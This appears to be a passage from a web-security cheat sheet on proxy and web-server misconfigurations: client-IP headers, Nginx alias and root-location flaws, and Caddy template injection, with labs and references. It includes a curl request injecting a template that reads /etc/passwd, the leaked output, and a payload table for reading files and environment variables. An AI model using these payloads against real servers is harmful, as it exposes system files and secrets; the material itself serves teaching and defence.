<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">X-Forwarded-For</span><span class="p">:</span> <span class="n">2</span><span class="p">.</span><span class="n">21</span><span class="p">.</span><span class="n">213</span><span class="p">.</span><span class="n">225</span><span class="p">,</span> <span class="n">104</span><span class="p">.</span><span class="n">16</span><span class="p">.</span><span class="n">148</span><span class="p">.</span><span class="n">244</span><span class="p">,</span> <span class="n">184</span><span class="p">.</span><span class="n">25</span><span class="p">.</span><span class="n">37</span><span class="p">.</span><span class="n">3</span>
</code></pre></div>
<p>Nginx can override the header with the client's real IP address.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">proxy_set_header</span> <span class="n">X-Forwarded-For</span> <span class="nv">$remote_addr</span><span class="p">;</span>
</code></pre></div>
<h4 id="x-real-ip">X-Real-IP</h4>
<p><code>X-Real-IP</code> is another custom HTTP header, commonly used by Nginx and some other proxies, to forward the original client IP address. Rather than including a chain of IP addresses like X-Forwarded-For, X-Real-IP contains only a single IP: the address of the client connecting to the first proxy.</p>
<h4 id="true-client-ip">True-Client-IP</h4>
<p><code>True-Client-IP</code> is a header developed and standardized by some providers, particularly by Akamai, to pass the original client’s IP address through their infrastructure.</p>
<h3 id="nginx">Nginx</h3>
<h4 id="off-by-slash">Off By Slash</h4>
<p>Nginx matches incoming request URIs against the location blocks defined in your configuration.</p>
<ul>
<li><code>location /app/</code> matches requests to <code>/app/</code>, <code>/app/foo</code>, <code>/app/bar/123</code>, etc.</li>
<li><code>location /app</code> (no trailing slash) matches <code>/app*</code> (i.e., <code>/application</code>, <code>/appfile</code>, etc.),</li>
</ul>
<p>This means in Nginx, the presence or absence of a slash in a location block changes the matching logic.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">server</span> <span class="p">{</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a> <span class="n">location</span> <span class="p">/</span><span class="n">app</span><span class="p">/</span> <span class="p">{</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a> <span class="c"># Handles /app/ and anything below, e.g., /app/foo</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a> <span class="p">}</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a> <span class="n">location</span> <span class="p">/</span><span class="n">app</span> <span class="p">{</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a> <span class="c"># Handles only /app with nothing after OR routes like /application, /appzzz</span>
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a> <span class="p">}</span>
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="p">}</span>
</code></pre></div>
<p>Example of a vulnerable configuration: An attacker requesting <code>/styles../secret.txt</code> resolves to <code>/path/styles/../secret.txt</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">location</span> <span class="p">/</span><span class="n">styles</span> <span class="p">{</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a> <span class="k">alias</span> <span class="p">/</span><span class="n">path</span><span class="p">/</span><span class="n">css</span><span class="p">/;</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="p">}</span>
</code></pre></div>
<h4 id="missing-root-location">Missing Root Location</h4>
<p>The <code>root /etc/nginx;</code> directive sets the server's root directory for static files.
The configuration doesn't have a root location <code>/</code>, it will be set globally set.
A request to <code>/nginx.conf</code> would resolve to <code>/etc/nginx/nginx.conf</code>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">server</span> <span class="p">{</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a> <span class="n">root</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">nginx</span><span class="p">;</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a> <span class="n">location</span> <span class="p">/</span><span class="n">hello</span><span class="p">.</span><span class="n">txt</span> <span class="p">{</span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a> <span class="n">try_files</span> <span class="nv">$uri</span> <span class="nv">$uri</span><span class="p">/</span> <span class="p">=</span><span class="n">404</span><span class="p">;</span>
<a id="__codelineno-5-6" name="__codelineno-5-6" href="#__codelineno-5-6"></a> <span class="n">proxy_pass</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">8080</span><span class="p">/;</span>
<a id="__codelineno-5-7" name="__codelineno-5-7" href="#__codelineno-5-7"></a> <span class="p">}</span>
<a id="__codelineno-5-8" name="__codelineno-5-8" href="#__codelineno-5-8"></a><span class="p">}</span>
</code></pre></div>
<h3 id="caddy">Caddy</h3>
<h4 id="template-injection">Template Injection</h4>
<p>The provided Caddy web server config uses the <code>templates</code> directive, which allows dynamic content rendering with Go templates.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">:</span><span class="n">80</span> <span class="p">{</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a> <span class="n">root</span> <span class="p">*</span> <span class="p">/</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a> <span class="n">templates</span>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a> <span class="n">respond</span> <span class="s2">&quot;You came from {http.request.header.Referer}&quot;</span>
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="p">}</span>
</code></pre></div>
<p>This tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header.</p>
<p>In this curl request, the attacker supplied as <code>Referer</code> header a Go template expression: <code>{{readFile "etc/passwd"}}</code>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nb">curl </span><span class="n">-H</span> <span class="s1">&#39;Referer: {{readFile &quot;etc/passwd&quot;}}&#39;</span> <span class="n">http</span><span class="p">://</span><span class="n">localhost</span><span class="p">/</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span> <span class="n">200</span> <span class="n">OK</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">Content-Length</span><span class="p">:</span> <span class="n">716</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="n">Content-Type</span><span class="p">:</span> <span class="n">text</span><span class="p">/</span><span class="n">plain</span><span class="p">;</span> <span class="n">charset</span><span class="p">=</span><span class="n">utf</span><span class="p">-</span><span class="n">8</span>
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="n">Server</span><span class="p">:</span> <span class="n">Caddy</span>
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a><span class="n">Date</span><span class="p">:</span> <span class="n">Thu</span><span class="p">,</span> <span class="n">24</span> <span class="n">Jul</span> <span class="n">2025</span> <span class="n">08</span><span class="p">:</span><span class="n">00</span><span class="p">:</span><span class="n">50</span> <span class="n">GMT</span>
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a>
<a id="__codelineno-8-7" name="__codelineno-8-7" href="#__codelineno-8-7"></a><span class="n">You</span> <span class="n">came</span> <span class="n">from</span> <span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">sh</span>
<a id="__codelineno-8-8" name="__codelineno-8-8" href="#__codelineno-8-8"></a><span class="n">bin</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">1</span><span class="p">:</span><span class="n">1</span><span class="p">:</span><span class="n">bin</span><span class="p">:/</span><span class="n">bin</span><span class="p">:/</span><span class="n">sbin</span><span class="p">/</span><span class="n">nologin</span>
<a id="__codelineno-8-9" name="__codelineno-8-9" href="#__codelineno-8-9"></a><span class="n">daemon</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">2</span><span class="p">:</span><span class="n">2</span><span class="p">:</span><span class="n">daemon</span><span class="p">:/</span><span class="n">sbin</span><span class="p">:/</span><span class="n">sbin</span><span class="p">/</span><span class="n">nologin</span>
</code></pre></div>
<p>Because Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The <code>readFile</code> function is available in Caddy templates, so the attacker's input causes Caddy to actually read <code>/etc/passwd</code> and insert its content into the HTTP response.</p>
<table>
<thead>
<tr>
<th>Payload</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>{{env "VAR_NAME"}}</code></td>
<td>Get an environment variable</td>
</tr>
<tr>
<td><code>{{listFiles "/"}}</code></td>
<td>List all files in a directory</td>
</tr>
<tr>
<td><code>{{readFile "path/to/file"}}</code></td>
<td>Read a file</td>
</tr>
</tbody>
</table>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Nginx-Alias-Misconfiguration">Root Me - Nginx - Alias Misconfiguration</a></li>
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Nginx-Root-Location-Misconfiguration">Root Me - Nginx - Root Location Misconfiguration</a></li>
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration">Root Me - Nginx - SSRF Misconfiguration</a></li>
<li><a href="https://github.com/detectify/vulnerable-nginx">Detectify - Vulnerable Nginx</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://httptoolkit.com/blog/what-is-x-forwarded-for/">What is X-Forwarded-For and when can you trust it? - Phil Sturgeonopens - January 31, 2024</a></li>
<li><a href="https://blog.detectify.com/industry-insights/common-nginx-misconfigurations-that-leave-your-web-server-ope-to-attack/">Common Nginx misconfigurations that leave your web server open to attack - Detectify - November 10, 2020</a></li>
</ul>
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